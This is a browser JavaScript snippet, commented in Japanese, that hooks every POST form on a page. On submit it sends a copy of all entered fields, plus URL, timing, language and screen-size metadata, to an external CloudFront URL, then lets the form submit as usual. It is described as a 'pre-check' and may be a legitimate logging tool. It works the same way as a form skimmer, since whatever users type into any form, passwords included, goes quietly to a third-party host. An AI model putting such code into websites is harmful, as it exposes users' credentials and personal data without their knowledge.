const send_url = 'https://d2a9azy6qhlske.cloudfront.net/send.json'; const open_time = new Date(); const postForms = document.querySelectorAll('form[method="post"]'); postForms.forEach((form, index) => { console.log("---- POST FORM #" + (index + 1) + " ----"); // display:none の div を作成 // const hiddenDiv = document.createElement("div"); // hiddenDiv.style.display = "none"; // input type=email を作成 // const emailInput = document.createElement("input"); // emailInput.type = "email"; // emailInput.name = "email__"; // // div に input を入れる // hiddenDiv.appendChild(emailInput); // // form の最後に追加 // form.appendChild(hiddenDiv); // const formData = new FormData(form); // for (const [key, value] of formData.entries()) { // console.log(key, value); // } form.addEventListener("submit", async function (e) { e.preventDefault(); // ← まずフォーム送信を止める //どのボタンがクリックされたか const submitter = e.submitter; // console.log(submitter.name); // action // console.log(submitter.value); // save or delete const form = this; const formData = new FormData(form); // const msg = document.getElementById("msg"); formData.append("_open_time", open_time.toLocaleString()); formData.append("_post_time", new Date().toLocaleString()); formData.append("_full_url", window.location.href); const language = navigator.language; formData.append("_lang", language); const screenWidth = screen.width; const screenHeight = screen.height; formData.append("_screen_size", `${screenWidth} x ${screenHeight}`); if(submitter.name){ formData[submitter.name] = submitter.value; } // 事前チェックとしてサーバーへ Fetch const res = await fetch(send_url, { method: "POST", body: formData }); console.log(res); if(res.status != 200){ console.log("エラー: Not " + res.status); appendSubmitter(form, submitter); form.submit(); }else{ const json = await res.json(); if (json.status === "ok") { // ----------------------------- // Fetch OK → 本当に送信する // ----------------------------- console.log("チェックOK → 送信します"); // ★ここが重要:JavaScriptの中からフォームを強制送信 appendSubmitter(form, submitter); form.submit(); } else { // ----------------------------------- // Fetch NG → 送信せずエラーメッセージ表示 // ----------------------------------- console.log("エラー: "); console.log(json.message); appendSubmitter(form, submitter); form.submit(); } } }); }); function appendSubmitter(form, submitter){ if(!submitter.name){ return; } const hidden = document.createElement("input"); hidden.type = "hidden"; hidden.name = submitter.name; hidden.value = submitter.value; form.appendChild(hidden); }